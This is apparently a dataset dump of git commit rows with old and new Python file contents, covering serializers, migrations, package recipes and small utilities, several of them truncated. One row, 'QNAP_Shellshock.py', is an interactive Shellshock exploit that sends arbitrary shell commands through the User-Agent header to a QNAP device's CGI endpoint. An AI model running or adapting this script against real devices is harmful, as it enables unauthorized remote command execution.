commit stringlengths 40 40 | subject stringlengths 1 1.49k | old_file stringlengths 4 311 | new_file stringlengths 4 311 | new_contents stringlengths 1 29.8k | old_contents stringlengths 0 9.9k | lang stringclasses 3
values | proba float64 0 1 |
|---|---|---|---|---|---|---|---|
238d031651cb74d0ca9bed9d38cda836049c9c37 | Correct fallback for tag name | src/sentry/api/serializers/models/grouptagkey.py | src/sentry/api/serializers/models/grouptagkey.py | from __future__ import absolute_import
from sentry.api.serializers import Serializer, register
from sentry.models import GroupTagKey, TagKey
@register(GroupTagKey)
class GroupTagKeySerializer(Serializer):
def get_attrs(self, item_list, user):
tag_labels = {
t.key: t.get_label()
fo... | from __future__ import absolute_import
from sentry.api.serializers import Serializer, register
from sentry.models import GroupTagKey, TagKey
@register(GroupTagKey)
class GroupTagKeySerializer(Serializer):
def get_attrs(self, item_list, user):
tag_labels = {
t.key: t.get_label()
fo... | Python | 0.000005 |
bc3495acdc9f53e2fa7d750f3dd7bb53826326e3 | Create csvloader.py | csvloader.py | csvloader.py | import random
import csv
with open('points.csv', 'wb') as csvfile:
writer = csv.writer(csvfile, delimiter=' ',quotechar='|', quoting=csv.QUOTE_MINIMAL)
row = []
for i in range(1000):
row.append(random.randrange(-2000,1000))
row.append(random.randrange(20,1000))
row.append(random.ran... | Python | 0.000053 | |
8fe27d56592978a0d2a2e43b07214f982bad2010 | Add intermediate tower 8 | pythonwarrior/towers/intermediate/level_008.py | pythonwarrior/towers/intermediate/level_008.py | # -------
# |@ Ss C>|
# -------
level.description("You discover a satchel of bombs which will help "
"when facing a mob of enemies.")
level.tip("Detonate a bomb when you see a couple enemies ahead of "
"you (warrior.look()). Watch out for your health too.")
level.clue("Calling warrior.loo... | Python | 0.998595 | |
5e9c0961c381dcebe0331c8b0db38794de39300b | Initialize P01_fantasy_game_inventory | books/AutomateTheBoringStuffWithPython/Chapter05/PracticeProjects/P01_fantasy_game_inventory.py | books/AutomateTheBoringStuffWithPython/Chapter05/PracticeProjects/P01_fantasy_game_inventory.py | # This program models a player's inventory from a fantasy game
# You are creating a fantasy video game. The data structure to model the player’s
# inventory will be a dictionary where the keys are string values describing the item
# in the inventory and the value is an integer value detailing how many of that item
# th... | Python | 0.000004 | |
b50811f87d10dab0768feed293e239ca98a91538 | fix issue with ptu server and morse topic by correcting and republishing /ptu/state | topic_republisher/scripts/republish_ptu_state.py | topic_republisher/scripts/republish_ptu_state.py | #!/usr/bin/env python
import rospy
from sensor_msgs.msg import JointState
class JointStateRepublisher():
"A class to republish joint state information"
def __init__(self):
rospy.init_node('ptu_state_republisher')
self.pub = rospy.Publisher('/ptu/state', JointState)
rospy.Subscriber("/ptu_state"... | Python | 0 | |
007b2d2ce61864e87de368e508fa971864847fc7 | Create findPrimes.py | findPrimes.py | findPrimes.py | # Tyler Witt
# findPrimes.py
# 6.27.14
# ver 1.0
# This function implements the Sieve of Eratosthenes algorithm to find all the prime numbers below lim
def findPrimes(lim):
primes = []
cur = 0
if lim < 2:
return None
for num in range(2, lim + 1):
primes.append(num)
while (primes[cur] ** 2 < lim):
... | Python | 0 | |
80f294e134ef684feb8ac700747a65522edf8758 | add new example in the gallery | examples/plot_kraken.py | examples/plot_kraken.py | """
Kraken module example
=======================
kraken module showing distribution of the most frequent taxons
Please, see :mod:`sequana.kraken` for more information and the
quality_taxon pipeline module or kraken rule.
"""
#This plots a simple taxonomic representation of the output
#of the taxonomic pipeline. A mor... | Python | 0 | |
341ca75484b4607eb632d52bf257c8190ebf8a3b | Create fishspine3.py | fishspine3.py | fishspine3.py | #Fish vertebral location code
| Python | 0.000005 | |
653ab8128de3c08b6b8be0d662f12ef5a3edf6b2 | Add grafana build rule | shipyard/rules/third-party/grafana/build.py | shipyard/rules/third-party/grafana/build.py | from foreman import get_relpath, rule
from garage import scripts
from templates.common import define_distro_packages
GRAFANA_DEB = 'grafana_5.1.4_amd64.deb'
GRAFANA_DEB_URI = 'https://s3-us-west-2.amazonaws.com/grafana-releases/release/grafana_5.1.4_amd64.deb'
GRAFANA_DEB_CHECKSUM = 'sha256-bbec4cf6112c4c2654b679ae... | Python | 0.000001 | |
1154fe470aaf4066c041b33c66bbfd46d9470b4a | Clean up existing BotTestExpectations unittests in preparation for adding more | Tools/Scripts/webkitpy/layout_tests/layout_package/bot_test_expectations_unittest.py | Tools/Scripts/webkitpy/layout_tests/layout_package/bot_test_expectations_unittest.py | # Copyright (C) 2013 Google Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the ... | # Copyright (C) 2013 Google Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the ... | Python | 0.000001 |
4dd0b349f971cd5ba4842f79a7dba36bf4999b6f | Add Jmol package (#3041) | var/spack/repos/builtin/packages/jmol/package.py | var/spack/repos/builtin/packages/jmol/package.py | ##############################################################################
# Copyright (c) 2013-2016, Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory.
#
# This file is part of Spack.
# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
# LLNL-CODE-64... | Python | 0 | |
dc635babcf78343bf9490a77d716db89bda2698b | Create __init__.py | api_1_0/__init__.py | api_1_0/__init__.py | from flask import Blueprint
api = Blueprint('api', __name__)
from . import authentication, posts, users, comments, errors
| Python | 0.000429 | |
7d29c44e19c1f06deb0722a3df51501b39566c4b | Implement simple en/decoding command line tool | flynn/tool.py | flynn/tool.py | # coding: utf-8
import sys
import argparse
import flynn
import json
def main(args=sys.argv[1:]):
formats = {"json", "cbor", "cbori", "cborh", "cborhi"}
argparser = argparse.ArgumentParser()
argparser.add_argument("-i", "--input-format", choices=formats, default="cbor")
argparser.add_argument("-o", "--output-form... | Python | 0.000108 | |
5af92f3905f2d0101eeb42ae7cc51bff528ea6ea | Write bodies given by coordinates to a VTK file | syngeo/io.py | syngeo/io.py | # stardard library
import sys, os
# external libraries
import numpy as np
from ray import imio, evaluate
def add_anything(a, b):
return a + b
def write_synapse_to_vtk(neurons, coords, fn, im=None, t=(2,0,1), s=(1,-1,1),
margin=None):
"""Output neuron shapes around pre- and post-synapse coordinates.
... | Python | 0.000001 | |
e6e90cef36551796f7fb06585c67508538ce113f | Create MaxCounters.py | Counting-Elements/MaxCounters.py | Counting-Elements/MaxCounters.py | # https://codility.com/demo/results/trainingTC7JSX-8E9/
def solution(N, A):
counters = N * [0]
max_counters = 0
for elem in A:
if elem == N+1:
counters = N * [max_counters]
else:
this_elem = counters[elem-1] + 1
counters[elem-1] = this_elem
if ... | Python | 0 | |
ce1d13bc6827f780e44491b630e64df7b52634f1 | add vibration sensor code | gpio/vibration-sendor-test.py | gpio/vibration-sendor-test.py | import RPi.GPIO as GPIO
import time
import datetime
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
IN_PIN = 18
LED_PIN = 17
GPIO.setup(IN_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(LED_PIN, GPIO.OUT)
GPIO.output(LED_PIN, GPIO.LOW)
def turn_on(led_pin):
GPIO.output(led_pin, GPIO.HIGH)
def turn_off(led_pi... | Python | 0 | |
e7ef1806f84e6d07ef88ca23444f37cf6f50e014 | Add a console-less version. | wxMailServer.pyw | wxMailServer.pyw | # -*- encoding: utf-8 -*-
from wxMailServer import main
if __name__ == "__main__":
main() | Python | 0 | |
b419f8c9f562d3d16a6079e949c47ec2adc4c97d | add utility script for merging test files | scripts/merge-tests.py | scripts/merge-tests.py | import sys
c_includes = set()
cxx_includes = set()
jive_includes = set()
local_includes = set()
code_blocks = []
def mangle(fname):
name = fname[6:-2]
name = name.replace('/', '_')
name = name.replace('-', '_')
return name
for fname in sys.argv[1:]:
seen_includes = False
code_lines = []
name = mangle(fname)
... | Python | 0 | |
62e17c30ba45458254c0da5b14582aeeac9eab4c | Add command to pre-generate all jpeg images | signbank/video/management/commands/makejpeg.py | signbank/video/management/commands/makejpeg.py | """Convert a video file to flv"""
from django.core.exceptions import ImproperlyConfigured
from django.core.management.base import BaseCommand, CommandError
from django.conf import settings
from signbank.video.models import GlossVideo
import os
class Command(BaseCommand):
help = 'Create JPEG images for all... | Python | 0.000001 | |
83d8199eccf7261a8e2f01f7665537ee31702f8c | Create QNAP_Shellshock.py | QNAP_Shellshock.py | QNAP_Shellshock.py | #!/usr/bin/python
import socket
print "QNAP exploit!"
inputstr=""
ip="x.x.x.x" #Change IP Value
port=8080
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
inputstr=raw_input("cmd> ")
s.connect(ip,port))
s.send("GET /cgi-bin/index.cgi HTTP/1.0\nHost: "+ip+"\nUser-Agent: () { :;}; echo; "+inputstr... | Python | 0.000001 | |
444efa0506034302b605107981b0db4b8d2c37cc | task urls | task/urls.py | task/urls.py | from django.conf.urls import patterns, include, url
from task.views import Home, TaskView, TaskDetail
urlpatterns = patterns(
'',
url(r'^$', Home.as_view(), name='home'),
url(r'^task/$', TaskView.as_view(), name='task'),
url(r'^task/(?P<pk>\d+)/$', TaskDetail.as_view(), name='task_detail'),
)
| Python | 0.999783 | |
63c2c7a696aedb1b08d2478a2b84aec42f4364cf | Add tests for URLConverter | tests/bucket/test_url_converter.py | tests/bucket/test_url_converter.py | from mrs.bucket import URLConverter
def test_local_to_global():
c = URLConverter('myhost', 42, '/my/path')
url = c.local_to_global('/my/path/xyz.txt')
assert url == 'http://myhost:42/xyz.txt'
def test_local_to_global_outside_dir():
c = URLConverter('myhost', 42, '/my/path')
url = c.local_to_glob... | Python | 0 | |
88cf8e30da6ab655dfc31b2fd88d26ef649e127d | add sha digest tool | getDigest.py | getDigest.py | #!/usr/bin/env python
# encoding: utf-8
import sys
import hashlib
def getDigest(file):
# BUF_SIZE is totally arbitrary, change for your app!
BUF_SIZE = 65536 # lets read stuff in 64kb chunks!
md5 = hashlib.md5()
sha1 = hashlib.sha1()
with open(file, 'rb') as f:
while True:
da... | Python | 0 | |
e9acbc2e1423084ddd4241e2fbdcc7fcbf02ad6d | add empty migration as data migration | coupons/migrations/0005_auto_20151105_1502.py | coupons/migrations/0005_auto_20151105_1502.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('coupons', '0004_auto_20151105_1456'),
]
operations = [
]
| Python | 0.000007 | |
3004dec0e0deadc4df61bafb233cd6b277c9bfef | Add in small utility that creates an index on the MongoDB collection, specifically on the Steam ID number key | util/create_mongodb_index.py | util/create_mongodb_index.py | #!/usr/env python3.4
import sys
from pymongo import ASCENDING
from util.mongodb import connect_to_db
from argparse import (ArgumentParser,
ArgumentDefaultsHelpFormatter)
def main(argv=None):
parser = ArgumentParser(description='Run incremental learning '
... | Python | 0 | |
3da9953aa453281fd55ada75b2ed40fce8d9df6c | Create screen_op.py | screen_op.py | screen_op.py | #-------------------------------------------------------------------------------
#
# Controls shed weather station
#
# The MIT License (MIT)
#
# Copyright (c) 2015 William De Freitas
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (... | Python | 0.000003 | |
754dc2a5bc26a555576970a494a9de0e5026fae1 | Add DTFT demo | dtft.py | dtft.py | #!/usr/bin/env python3
"""
Using a typical FFT routine and showing the principle
behind the DTFT computation.
"""
import numpy as np
from matplotlib import pyplot
##################################################
# Efficient practical usage
def fft(values, dt):
freqs = np.fft.rfftfreq(len(values), dt)
coeff... | Python | 0 | |
f342a3bb330eab74f31f632c81792f93a6e086e8 | Add a script to automate the generation of source distributions for Windows and Linux. | create_distributions.py | create_distributions.py | """Script to automate the creation of Windows and Linux source distributions.
The TOPKAPI_example directory is also copied and the .svn directories stripped
to make a clean distribution. The manual is included in MSWord format for now
because this is how it's stored in SVN.
This script currently relies on Linux tools... | Python | 0 | |
6fd4aefcc70e28d96d7110a903328f24b6fea5e4 | bring back the in RAM version, it uses less RAM, but too much to pass 10M entries I think | zorin/mreport.py | zorin/mreport.py | import sys
import json
class Site(object):
def __init__(self):
self.op_events = {}
self.chats = set()
self.emails = set()
self.operators = set()
self.visitors = set()
def add_operator_event(self, ts, op, state):
self.op_events[op] = sorted(set(self.op_events.g... | Python | 0 | |
a038d9e204bd54e69d5a84427bc9a56b04583460 | Create restart script | dbaas/maintenance/scripts/restart_database.py | dbaas/maintenance/scripts/restart_database.py | from datetime import date, timedelta
from maintenance.models import TaskSchedule
from logical.models import Database
def register_schedule_task_restart_database(hostnames):
today = date.today()
try:
databases = Database.objects.filter(
databaseinfra__instances__hostname__hostname__in=host... | Python | 0.000001 | |
93a396fdfc2b4a9f83ffbeb38c6f5a574f61478e | Add initial MeSH update script | scripts/update_mesh.py | scripts/update_mesh.py | import os
import re
import csv
import gzip
import xml.etree.ElementTree as ET
from urllib.request import urlretrieve
def _get_term_names(record, name):
# We then need to look for additional terms related to the
# preferred concept to get additional names
concepts = record.findall('ConceptList/Concept')
... | Python | 0 | |
b28feb542a34cec9ae9d21b1efed5676dcab8956 | Make ContestParticipation.user not nullable; #428 | judge/migrations/0030_remove_contest_profile.py | judge/migrations/0030_remove_contest_profile.py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-07-31 18:13
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
def move_current_contest_to_profile(apps, schema_editor):
ContestProfile = apps.get_model('judge', 'ContestProfile')
db_ali... | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-07-31 18:13
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
def move_current_contest_to_profile(apps, schema_editor):
ContestProfile = apps.get_model('judge', 'ContestProfile')
db_ali... | Python | 0.000103 |
6ea2d5af752e4765be8ef433139f72538fa3a2dd | Check that relationships in SsWang are up-to-date | tests/test_semsim_wang_termwise.py | tests/test_semsim_wang_termwise.py | #!/usr/bin/env python3
"""Test S-value for Table 1 in Wang_2007"""
__copyright__ = "Copyright (C) 2020-present, DV Klopfenstein. All rights reserved."
__author__ = "DV Klopfenstein"
from os.path import join
from sys import stdout
from goatools.base import get_godag
from goatools.semsim.termwise.wang import SsWang
fr... | Python | 0 | |
43eb87c1297ac9999f027f275bce94b3e8f4894e | add problem | leetcode/14_longest_common_prefix.py | leetcode/14_longest_common_prefix.py | """
Write a function to find the longest common prefix string amongst an array of strings.
If there is no common prefix, return an empty string "".
Example 1:
Input: ["flower","flow","flight"]
Output: "fl"
Example 2:
Input: ["dog","racecar","car"]
Output: ""
Explanation: There is no common prefix among the input str... | Python | 0.044376 | |
6e1e4478593c73aeef81a5dbcea62f4de8de7fb0 | Add that migration | accounts/migrations/0002_auto__del_profile.py | accounts/migrations/0002_auto__del_profile.py | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting model 'Profile'
db.delete_table(u'accounts_profile')
def... | Python | 0.000214 | |
347f22593a20c5553b9469fad051dbaa34643082 | add test_log_likelihood.py | crosscat/tests/test_log_likelihood.py | crosscat/tests/test_log_likelihood.py | import argparse
from functools import partial
#
import pylab
pylab.ion()
pylab.show()
#
from crosscat.LocalEngine import LocalEngine
import crosscat.utils.data_utils as du
import crosscat.utils.timing_test_utils as ttu
import crosscat.utils.convergence_test_utils as ctu
parser = argparse.ArgumentParser()
parser.add_a... | Python | 0.000003 | |
613917df190a72de63238149a2128affe94f9f39 | Add a snippet. | python/pyqt/pyqt5/widget_QTableView_delegate_on_edit_using_datetimeedit_that_can_be_set_to_none.py | python/pyqt/pyqt5/widget_QTableView_delegate_on_edit_using_datetimeedit_that_can_be_set_to_none.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Ref:
# - http://doc.qt.io/qt-5/modelview.html#3-4-delegates
# - http://doc.qt.io/qt-5/model-view-programming.html#delegate-classes
# - http://doc.qt.io/qt-5/qabstractitemdelegate.html#details
# - http://doc.qt.io/qt-5/qitemdelegate.html#details
# - http://doc.qt.io/qt-5... | Python | 0.000002 | |
3acbccb289ff74d063c4809d8fc20235e99ea314 | When an assert fails, print the data that failed the assert so the problem can be triaged. BUG=none TEST=none Review URL: http://codereview.chromium.org/285005 | webkit/build/rule_binding.py | webkit/build/rule_binding.py | #!/usr/bin/python
# Copyright (c) 2009 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
# usage: rule_binding.py INPUT CPPDIR HDIR -- INPUTS -- OPTIONS
#
# INPUT is an IDL file, such as Whatever.idl.
#
# CPPDIR is the dire... | #!/usr/bin/python
# Copyright (c) 2009 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
# usage: rule_binding.py INPUT CPPDIR HDIR -- INPUTS -- OPTIONS
#
# INPUT is an IDL file, such as Whatever.idl.
#
# CPPDIR is the dire... | Python | 0.999999 |
c48d852c2ceb39e6692be1b2c270aa75156e5b5e | Add migrations/0121_….py | ielex/lexicon/migrations/0121_copy_hindi_transliteration_to_urdu.py | ielex/lexicon/migrations/0121_copy_hindi_transliteration_to_urdu.py | # -*- coding: utf-8 -*-
# Inspired by:
# https://github.com/lingdb/CoBL/issues/223#issuecomment-256815113
from __future__ import unicode_literals, print_function
from django.db import migrations
def forwards_func(apps, schema_editor):
Language = apps.get_model("lexicon", "Language")
Meaning = apps.get_model("... | Python | 0 | |
da5bd8b1afcffd8a0509a785183ce1474fe7f53c | Create insult.py | insult.py | insult.py | """By Bowserinator: Insults people :D"""
from utils import add_cmd, add_handler
import utils
import random
name = "insult"
cmds = ["insult"]
insultPattern = [
"That [REPLACE] just cut me off!",
"My boss is a major [REPLACE]!",
"Don't tell her I said this, but that dude she's with is a real [REPLACE]!",
... | Python | 0.001151 | |
1a1bf760f9d912f6c19943b58198d947b4e65b84 | Add mraa GPIO test | meta-iotqa/lib/oeqa/runtime/sanity/mraa_gpio.py | meta-iotqa/lib/oeqa/runtime/sanity/mraa_gpio.py | from oeqa.oetest import oeRuntimeTest
import unittest
import subprocess
from time import sleep
class MraaGpioTest(oeRuntimeTest):
'''
These tests require to use BeagleBone as testing host
'''
pin = ""
def setUp(self):
(status, output)= self.target.run("mraa-gpio version")
output = o... | Python | 0.000001 | |
8b7e84e98ccf0b44d7c6cc6ff23f462ec648d3f0 | add test | msmbuilder/tests/test_feature_selection.py | msmbuilder/tests/test_feature_selection.py | import numpy as np
from sklearn.feature_selection import VarianceThreshold as VarianceThresholdR
from ..featurizer import DihedralFeaturizer
from ..feature_selection import FeatureSelector, VarianceThreshold
from ..example_datasets import fetch_alanine_dipeptide as fetch_data
FEATS = [
('phi', DihedralFeatur... | import numpy as np
from sklearn.feature_selection import VarianceThreshold as VarianceThresholdR
from ..featurizer import DihedralFeaturizer
from ..feature_selection import FeatureSelector, VarianceThreshold
from ..example_datasets import fetch_alanine_dipeptide as fetch_data
FEATS = [
('phi', DihedralFeatur... | Python | 0.000002 |
e2b74a9978de4a6f15273e3e098379107eb0bec3 | Create 0001_0.py | pylyria/0001/0001_0.py | pylyria/0001/0001_0.py | # -*- coding: utf-8 -*-
#!/usr/bin/env python
#第 0001 题:做为 Apple Store App 独立开发者,你要搞限时促销,为你的应用生成激活码(或者优惠券),使用 Python 如何生成 200 个激活码(或者优惠券)?
import random
import string
def activation_code(id,length=16):
prefix = hex(int(id))[2:]+'V'
length = length - len(prefix)
chars=string.ascii_uppercase+string.digits
... | Python | 0.019732 | |
82f9edd572d440941e7de67398b3fdeb52d5c389 | Add new migration | modelview/migrations/0047_auto_20191021_1525.py | modelview/migrations/0047_auto_20191021_1525.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.24 on 2019-10-21 13:25
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('modelview', '0046_auto_20191007_1630'),
]
operations = [
migrations.AlterF... | Python | 0 | |
45db21e2b4093cbda7976189327467ca3aebe1a3 | add instance serializer | api/v2/serializers/instance_serializer.py | api/v2/serializers/instance_serializer.py | from core.models import Instance
from rest_framework import serializers
from .identity_summary_serializer import IdentitySummarySerializer
from .user_serializer import UserSerializer
class InstanceSerializer(serializers.ModelSerializer):
identity = IdentitySummarySerializer(source='created_by_identity')
user ... | Python | 0.000001 | |
3fc5c2a4d3f13dc8062c93dd86fd94f06c35c91d | add an easy echo server by using python | network/echo-server/echo-iterative/main.py | network/echo-server/echo-iterative/main.py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# Copyright (c) 2016 ASMlover. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright... | Python | 0.000002 | |
48d774b8bdcaa924303b905cef27b4eb13f08fd6 | Add pillar_roots to the wheel system | salt/wheel/pillar_roots.py | salt/wheel/pillar_roots.py | '''
The `pillar_roots` wheel module is used to manage files under the pillar roots
directories on the master server.
'''
# Import python libs
import os
# Import salt libs
import salt.utils
def find(path, env='base'):
'''
Return a dict of the files located with the given path and environment
'''
# Re... | Python | 0.000001 | |
07fd61306e645b7240883d5d468f94be5ce8a34c | Add a command to retrieve all triggers | Commands/Triggers.py | Commands/Triggers.py | from IRCResponse import IRCResponse, ResponseType
from CommandInterface import CommandInterface
import GlobalVars
class Command(CommandInterface):
triggers = ["triggers"]
help = "triggers -- returns a list of all command triggers, must be over PM"
def execute(self, Hubbot, message):
if message.Use... | Python | 0.000002 | |
b173aa1a6dc1c361d65150c6782db7618a5ff126 | Add simple indexing test. | benchmarks/simpleindex.py | benchmarks/simpleindex.py | import timeit
# This is to show that NumPy is a poorer choice than nested Python lists
# if you are writing nested for loops.
# This is slower than Numeric was but Numeric was slower than Python lists were
# in the first place.
N = 30
code2 = r"""
for k in xrange(%d):
for l in xrange(%d):
res = a[k,l]... | Python | 0 | |
99061bec96a7337e6ddc1d698f00805f84089b3b | Set content headers on download | bepasty/views/download.py | bepasty/views/download.py | # Copyright: 2013 Bastian Blank <bastian@waldi.eu.org>
# License: BSD 2-clause, see LICENSE for details.
from flask import Response, current_app, stream_with_context
from flask.views import MethodView
from ..utils.name import ItemName
from . import blueprint
class DownloadView(MethodView):
def get(self, name):
... | # Copyright: 2013 Bastian Blank <bastian@waldi.eu.org>
# License: BSD 2-clause, see LICENSE for details.
from flask import Response, current_app, stream_with_context
from flask.views import MethodView
from ..utils.name import ItemName
from . import blueprint
class DownloadView(MethodView):
def get(self, name):
... | Python | 0 |
5787d3ff813d2c96d0ec2c2fd90f91b93315e564 | Add stub for cliches | proselint/checks/inprogress/wgd_cliches.py | proselint/checks/inprogress/wgd_cliches.py | """WGD101: Cliches.
---
layout: post
error_code: WGD101
source: write-good
source_url: https://github.com/btford/write-good
title: WGD101: Cliches
date: 2014-06-10 12:31:19
categories: writing
---
Cliches are cliche.
"""
def check(text):
error_code = "WGD101"
msg = "Cliche."
re... | Python | 0.000001 | |
9068fd506811113c50886bf9c8f4094b7e1bd7a3 | Add stats.py from week 2. | hw3/stats.py | hw3/stats.py | #!/usr/bin/python
# Week 2 Problem 3. Simple statistics.
# Use Python 3 print() function, Python 3 integer division
from __future__ import print_function, division
def get_stats(input_list):
'''
Accepts a list of integers, and returns a tuple of four numbers:
minimum(int), maximum(int), mean(float), and... | Python | 0 | |
84f31dfa718a2f557b0058920037265331fd1a3f | Add missing merge migration | osf/migrations/0099_merge_20180427_1109.py | osf/migrations/0099_merge_20180427_1109.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.11 on 2018-04-27 16:09
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('osf', '0098_merge_20180416_1807'),
('osf', '0098_auto_20180418_1722'),
]
operation... | Python | 0.000002 | |
99d7a6dd79e0661bb047198261d624fd62e41406 | add missing file | gui/vtk/ExodusResult.py | gui/vtk/ExodusResult.py | import os, sys, PyQt4, getopt
from PyQt4 import QtCore, QtGui
import vtk
import time
class ExodusResult:
def __init__(self, render_widget, renderer, plane):
self.render_widget = render_widget
self.renderer = renderer
self.plane = plane
self.current_actors = []
def setFileName(self, file_name): ... | Python | 0.000001 | |
d6850ebe441a966dcf17f5cb8b0ce57a7c9dce8a | Add argument parsing | helenae/db/create_db.py | helenae/db/create_db.py | from optparse import OptionParser
import sqlalchemy.exc
from sqlalchemy import text
from sqlalchemy.orm import sessionmaker
from tables import *
def create_db():
"""
Defined tables at tables.py file are created in some DB
"""
try:
Base.metadata.create_all(engine)
except sqlalchemy.ex... | Python | 0.000035 | |
712733ead5e36362fe6e2eca1235744c257c7f69 | Create helloWorld.py | helloWorld.py | helloWorld.py | # programe in python
printf("Hello World!")
| Python | 0.999992 | |
bf56a5afed926d7cdd536c1da8ba5b021a09bd95 | Test pipe framework | skan/test/test_pipe.py | skan/test/test_pipe.py | import os
import pytest
import pandas
from skan import pipe
@pytest.fixture
def image_filename():
rundir = os.path.abspath(os.path.dirname(__file__))
datadir = os.path.join(rundir, 'data')
return os.path.join(datadir, 'retic.tif')
def test_pipe(image_filename):
data = pipe.process_images([image_file... | Python | 0 | |
b663bf77fe60a108598db4ae8310e8877d06cddd | Add unit tests for core module | tests/core_test.py | tests/core_test.py | """Test CLI module"""
import os
import sys
import tempfile
import unittest
from mock import mock_open, patch
from context import dfman
from dfman import config, const, core
class TestMainRuntime(unittest.TestCase):
@patch('dfman.core.Config')
@patch.object(dfman.core.MainRuntime, 'set_output_streams')
... | Python | 0 | |
be59230531d98dc25f806b2290a51a0f4fde1d3b | Rename model to prevent crash during module upgrade in tests | addons/survey/migrations/8.0.2.0/pre-migration.py | addons/survey/migrations/8.0.2.0/pre-migration.py | # coding: utf-8
from openupgradelib import openupgrade
@openupgrade.migrate()
def migrate(cr, version):
openupgrade.rename_tables(cr, [('survey', 'survey_survey')])
openupgrade.rename_models(cr, [('survey', 'survey.survey')])
| Python | 0 | |
a277a25014c250c04fabb669013305940c867abc | Introduce new variables | openfisca_country_template/variables/stats.py | openfisca_country_template/variables/stats.py | # -*- coding: utf-8 -*-
# This file defines the variables of our legislation.
# A variable is property of a person, or an entity (e.g. a household).
# See http://openfisca.org/doc/variables.html
# Import from openfisca-core the common python objects used to code the legislation in OpenFisca
from openfisca_core.model_... | Python | 0.000007 | |
4af5ec8c040cc1e1eae6b6208bb7e2cfeac7e146 | Allow custom Permissions to take Requests or Divisions | evesrp/auth/__init__.py | evesrp/auth/__init__.py | import re
from collections import namedtuple
from functools import partial
from flask.ext.login import current_user
from flask.ext.principal import Permission, UserNeed, RoleNeed, identity_loaded
from flask.ext.wtf import Form
from wtforms.fields import SubmitField, HiddenField
from .. import app, db, login_manager, ... | import re
from collections import namedtuple
from functools import partial
from flask.ext.login import current_user
from flask.ext.principal import Permission, UserNeed, RoleNeed, identity_loaded
from flask.ext.wtf import Form
from wtforms.fields import SubmitField, HiddenField
from .. import app, db, login_manager, ... | Python | 0 |
becba80983c5f0f29f981eadcc79d4f496e1d28b | fix issue #2778 | theme/management/commands/fix_user_quota_model.py | theme/management/commands/fix_user_quota_model.py | from django.contrib.auth.models import User
from django.core.management.base import BaseCommand
from theme.models import UserQuota
class Command(BaseCommand):
help = "This commond can be run to fix the corrupt user data where some users do not " \
"have UserQuota foreign key relation. This man... | Python | 0 | |
4f1cda8459cb6bca2e317bb582266fb43e78215c | Add test_manager_mixin module. | linguist/tests/test_manager_mixin.py | linguist/tests/test_manager_mixin.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from .base import BaseTestCase
from ..models import Translation
from ..utils.i18n import get_cache_key
class ManagerMixinTest(BaseTestCase):
"""
Tests the Linguist's manager mixin.
"""
def setUp(self):
self.create_registry()
... | Python | 0 | |
326249502d9884ea5717afff63b8a7caf60f6c2c | check in openstack healthcheck tool | planetstack/tools/openstack-healthcheck.py | planetstack/tools/openstack-healthcheck.py | #! /usr/bin/python
import os
import sys
import subprocess
import time
def get_systemd_status(service):
p=subprocess.Popen(["/bin/systemctl", "is-active", service], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(out, err) = p.communicate()
out = out.strip()
return out
libvirt_enabled = os.system("sys... | Python | 0 | |
0e5e3deb8a8250429ee7a1603e017343f6c7e3bb | Create a Testing Suite | tests/run_tests.py | tests/run_tests.py | from unittest import defaultTestLoader, TextTestRunner
import sys
suite = defaultTestLoader.discover(start_dir=".")
result = TextTestRunner(verbosity=2, buffer=True).run(suite)
sys.exit(0 if result.wasSuccessful() else 1)
| Python | 0 | |
ecac8bc83491c9cb2312cf2a1c477c53c4832b4d | Add minimal dead code elimination | pykit/transform/dce.py | pykit/transform/dce.py | # -*- coding: utf-8 -*-
"""
Dead code elimination.
"""
from pykit.analysis import loop_detection
effect_free = set([
'alloca', 'load', 'new_list', 'new_tuple', 'new_dict', 'new_set',
'new_struct', 'new_data', 'new_exc', 'phi', 'exc_setup', 'exc_catch',
'ptrload', 'ptrcast', 'ptr_isnull', 'getfield', 'get... | Python | 0.000589 | |
2fa7855de542bb5ecd303e26d1e9913687478589 | Set up test suite to ensure server admin routes are added. | server/tests/test_admin.py | server/tests/test_admin.py | """General functional tests for the API endpoints."""
from django.test import TestCase, Client
# from django.urls import reverse
from rest_framework import status
from server.models import ApiKey, User
# from api.v2.tests.tools import SalAPITestCase
class AdminTest(TestCase):
"""Test the admin site is configu... | Python | 0 | |
38b12d0581e82ebb0e4fee8500bbd5d83d373afa | Create wikipedia-link-analysis-reducer.py | wikipedia-link-analysis-reducer.py | wikipedia-link-analysis-reducer.py | Python | 0.000008 | ||
